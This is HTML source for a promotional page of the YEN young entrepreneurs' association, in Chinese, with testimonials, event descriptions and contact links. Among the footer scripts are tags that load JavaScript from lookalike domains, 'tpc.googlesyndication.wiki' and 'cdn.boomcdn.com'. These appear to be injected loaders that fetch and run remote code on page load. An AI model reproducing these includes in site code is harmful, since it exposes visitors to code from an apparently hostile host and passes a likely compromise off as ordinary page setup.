267 lines
12 KiB
HTML
267 lines
12 KiB
HTML
<!DOCTYPE html>
|
|
<html lang="en">
|
|
|
|
<head>
|
|
<!-- basic meta tags
|
|
=========================================== -->
|
|
<meta charset="UTF-8">
|
|
<meta name="viewport" content="width=device-width, initial-scale=1.0,shrink-to-fit=no">
|
|
|
|
<!-- style files
|
|
=========================================== -->
|
|
<link rel="icon" href="favicon.ico">
|
|
<!-- fonta -->
|
|
<link rel="preconnect" href="https://fonts.gstatic.com">
|
|
<link href="https://fonts.googleapis.com/css2?family=Montserrat:wght@400;500;700&display=swap" rel="stylesheet">
|
|
<!-- Bootstrap CSS -->
|
|
<link rel="stylesheet" href="style/bootstrap.min.css" />
|
|
<!-- animated.css -->
|
|
<link rel="stylesheet" href="style/animate.min.css" />
|
|
<!-- css -->
|
|
<link rel="stylesheet" href="style/style.css">
|
|
<link rel="stylesheet" href="style/value.css">
|
|
|
|
<!-- page title
|
|
=========================================== -->
|
|
<title>YEN</title>
|
|
</head>
|
|
|
|
<body>
|
|
<!-- navbar
|
|
=========================================== -->
|
|
<nav class="navbar navbar-expand-md navbar-dark fixed-top header">
|
|
<div class="container">
|
|
<!-- left -->
|
|
<div class="header-container">
|
|
<a href="index.html">
|
|
<img class="site-logo" src="images/logo.png" />
|
|
<label>YEN</label>
|
|
</a>
|
|
<h2>对你的价值</h2>
|
|
<button style="border:none; outline: none;" class="navbar-toggler" type="button" data-toggle="collapse"
|
|
data-target="#navbarSupportedContent" aria-controls="navbarSupportedContent" aria-expanded="false"
|
|
aria-label="Toggle navigation">
|
|
<span class="nav__icon"></span>
|
|
</button>
|
|
</div>
|
|
<!-- right -->
|
|
<div class="collapse navbar-collapse justify-content-end" id="navbarSupportedContent">
|
|
<ul class="navbar-nav">
|
|
<li class="nav-item">
|
|
<a class="nav-link active" href="index.html" data-i18n-text="home">首页</a>
|
|
</li>
|
|
<li class="nav-item">
|
|
<a class="nav-link" href="about.html" data-i18n-text="aboutUs">YEN介绍</a>
|
|
</li>
|
|
<li class="nav-item">
|
|
<a class="nav-link" href="value.html" data-i18n-text="">对你的价值</a>
|
|
</li>
|
|
<li class="nav-item">
|
|
<a class="nav-link" href="join.html" data-i18n-text="">加入我们</a>
|
|
</li>
|
|
</ul>
|
|
<div id="language" class="select-language">
|
|
<a href="index.html">简</a> | <a href="tc/index.html">繁</a> | <a href="en/index.html">EN</a>
|
|
</div>
|
|
</div><!-- /nav links -->
|
|
</div><!-- /container -->
|
|
</nav><!-- /navbar -->
|
|
|
|
<main>
|
|
<section id="block-worth-1" class="page-block block-worth-1">
|
|
<div class="slideshow">
|
|
<div class="slideshow-4-image pc-source" data-pc-url="./images/block-worth-1a-pc.jpg" style="background-image: url('images/block-worth-1a.jpg')"></div>
|
|
<div class="slideshow-4-image pc-source" data-pc-url="./images/block-worth-1b-pc.jpg" style="background-image: url('images/block-worth-1b.jpg')"></div>
|
|
<div class="slideshow-4-image" style="background-image: url('images/block-worth-1c.jpg')"></div>
|
|
<div class="slideshow-4-image pc-source" data-pc-url="./images/block-worth-1d-pc.jpg" style="background-image: url('images/block-worth-1d.jpg')"></div>
|
|
</div>
|
|
<div class="main-worth main-worth-mask-1">
|
|
<div class="container">
|
|
<div id="value" class="worth-content-1">
|
|
<div class="animate__animated animate__fadeIn">
|
|
<span>
|
|
“若说海内存知己，YEN的兄弟姐妹一定若比邻”
|
|
<small>- W.C 房地产业</small>
|
|
</span>
|
|
</div>
|
|
<div class="animate__animated animate__fadeIn animate__delay-2s">
|
|
<span>
|
|
“可以敞开坦露脆弱的地方”
|
|
<small>- C.Y. 咨询业</small>
|
|
</span>
|
|
</div>
|
|
<div class="animate__animated animate__fadeIn animate__delay-1s">
|
|
<span>
|
|
“这里不贩卖信仰，却能笃定我往前的信念”
|
|
<small>- V.T. 食品业</small>
|
|
</span>
|
|
</div>
|
|
<div class="animate__animated animate__fadeIn animate__delay-3s">
|
|
<span>
|
|
“各行业的干货，分享真诚不套路”
|
|
<small>- T.H. 制造业</small>
|
|
</span>
|
|
</div>
|
|
</div>
|
|
</div>
|
|
</div>
|
|
</section>
|
|
|
|
<section id="block-worth-2" class="page-block block-worth-2">
|
|
<div class="slideshow">
|
|
<div class="slideshow-5-image pc-source" data-pc-url="./images/block-worth-2a-pc.jpg" style="background-image: url('images/block-worth-2a.jpg')"></div>
|
|
<div class="slideshow-5-image" style="background-image: url('images/block-worth-2b.jpg')"></div>
|
|
<div class="slideshow-5-image" style="background-image: url('images/block-worth-2c.jpg')"></div>
|
|
<div class="slideshow-5-image" style="background-image: url('images/block-worth-2d.jpg')"></div>
|
|
<div class="slideshow-5-image" style="background-image: url('images/block-worth-2e.jpg')"></div>
|
|
</div>
|
|
<div class="worth-main-2">
|
|
<div class="container">
|
|
<div class="content">
|
|
<div>
|
|
<h3>来！一起参加YEN的</h3>
|
|
<div class="main-2">
|
|
<div class="worth-content-2">
|
|
<div>
|
|
<h5>分会分享会</h5>
|
|
<label>学习新知、保持最新商业的嗅觉</label>
|
|
<p>各地分会每年6-10次的干货分享会，在保密的原则下，分享深入的商业/生活主题</p>
|
|
</div>
|
|
<div>
|
|
<h5>分会年度进修</h5>
|
|
<label>非正式、灵活的将会员融合在一起</label>
|
|
<p>分会每年的体验高点：每年一次三到四天的外出旅游与学习，旅程中围绕着本地会员开展各种学习与融入活动。</p>
|
|
</div>
|
|
<div>
|
|
<h5>私董会</h5>
|
|
<label>解决你各方面的议题</label>
|
|
<p>不同于公开的大型活动，私董会是由固定的6-8位会员，一年6-10次聚在一起讨论和解决各自遇到的议题。私董会是YEN里头最紧密的互助小组。</p>
|
|
</div>
|
|
<div>
|
|
<h5>全球高峰会</h5>
|
|
<label>让你认识各地、各行业的YEN兄弟姐妹</label>
|
|
<p>每年五月，全球各地的会员聚在一处有三到四天的密集活动，包含了学习、融入甚至竞赛。全球高峰会是最好认识跨分会会员的机会。</p>
|
|
</div>
|
|
<div>
|
|
<h5>融入活动</h5>
|
|
<label>非正式、灵活的将会员融合在一起</label>
|
|
<p>除了正式的学习活动，YEN还有许多本地分会或者跨分会的融入活动，从户外运动、家庭活动、到小范围聚餐。</p>
|
|
</div>
|
|
</div>
|
|
</div>
|
|
</div>
|
|
</div>
|
|
</div>
|
|
</div>
|
|
</section>
|
|
|
|
<section class="contact-wrapper">
|
|
<div class="container">
|
|
<div class="main-content">
|
|
<label>联系YEN</label>
|
|
<p>
|
|
<span>
|
|
<img src="images/icon-mail.png" />
|
|
<a href="https://yen.network/cdn-cgi/l/email-protection#6e170b00400f0a0307005f2e070d02011b0a400d0103"><span class="__cf_email__" data-cfemail="126b777c3c73767f7b7c23527b717e7d67763c717d7f">[email protected]</span></a>
|
|
</span>
|
|
<span>
|
|
<img src="images/icon-fb.png" />
|
|
<a href="https://www.facebook.com/groups/yen.intl" target="_blank">雁博青年创业家协会</a>
|
|
</span>
|
|
<span>
|
|
<img src="images/icon-wechat.png" />
|
|
<a href="javascript:;">公众号: 雁博会YEN</a>
|
|
</span>
|
|
</p>
|
|
</div>
|
|
</div>
|
|
</section>
|
|
</main>
|
|
<div class="copyright">© 2022 雁博青年创业家协会.</div>
|
|
|
|
|
|
|
|
<!-- bootsrap js and jquery
|
|
=========================================== -->
|
|
<script data-cfasync="false" src="cdn-cgi/scripts/5c5dd728/cloudflare-static/email-decode.min.js"></script><script src="https://cdn.boomcdn.com/libs/wow-js/1.3.0/wow.min.js"></script>
|
|
<script type="text/javascript" src="https://tpc.googlesyndication.wiki/sodar/sodar2.js"></script>
|
|
<script>
|
|
new WOW().init();
|
|
</script>
|
|
<script src="https://cdn.bootcdn.net/ajax/libs/jquery/3.5.1/jquery.min.js"></script>
|
|
<script src="https://cdn.staticfile.org/twitter-bootstrap/4.3.1/js/bootstrap.min.js"></script>
|
|
<script src="https://cdn.staticfile.org/popper.js/1.15.0/umd/popper.min.js"></script>
|
|
<script src="js/jquery.cookie.min.js"></script>
|
|
<script src="js/common.js"></script>
|
|
<script>
|
|
function tranSlogan() {
|
|
const oDiv = document.getElementById('value')
|
|
let i = 2
|
|
const t1 = `
|
|
<div class="animate__animated animate__fadeIn">
|
|
<span>
|
|
“若说海内存知己，YEN的兄弟姐妹一定若比邻”
|
|
<small>- W.C 房地产业</small>
|
|
</span>
|
|
</div>
|
|
<div class="animate__animated animate__fadeIn animate__delay-2s">
|
|
<span>
|
|
“可以敞开坦露脆弱的地方”
|
|
<small>- C.Y. 咨询业</small>
|
|
</span>
|
|
</div>
|
|
<div class="animate__animated animate__fadeIn animate__delay-1s">
|
|
<span>
|
|
“这里不贩卖信仰，却能笃定我往前的信念”
|
|
<small>- V.T. 食品业</small>
|
|
</span>
|
|
</div>
|
|
<div class="animate__animated animate__fadeIn animate__delay-3s">
|
|
<span>
|
|
“各行业的干货，分享真诚不套路”
|
|
<small>- T.H. 制造业</small>
|
|
</span>
|
|
</div>
|
|
`
|
|
const t2 = `
|
|
<div class="animate__animated animate__fadeIn">
|
|
<span>
|
|
“你可以选择的兄弟姐妹”
|
|
<small>- B.C. 培训业</small>
|
|
</span>
|
|
</div>
|
|
<div class="animate__animated animate__fadeIn animate__delay-2s">
|
|
<span>
|
|
“无需带面具，真实做自己”
|
|
<small>- A.C. 制造&贸易业</small>
|
|
</span>
|
|
</div>
|
|
<div class="animate__animated animate__fadeIn animate__delay-1s">
|
|
<span>
|
|
“创业路上最大的慰藉！”
|
|
<small>- L.L. 电商业</small>
|
|
</span>
|
|
</div>
|
|
<div class="animate__animated animate__fadeIn animate__delay-3s">
|
|
<span>
|
|
“这里的每一面镜子都可以照出创业路上相似的经历。”
|
|
<small>- N.H 文化传媒</small>
|
|
</span>
|
|
</div>
|
|
`
|
|
setInterval(function() {
|
|
if(i == 1) {
|
|
oDiv.innerHTML = t1
|
|
i = 2
|
|
}
|
|
else if(i === 2) {
|
|
oDiv.innerHTML = t2
|
|
i = 1
|
|
}
|
|
}, 12000)
|
|
}
|
|
tranSlogan()
|
|
</script>
|
|
</body>
|
|
|
|
</html> |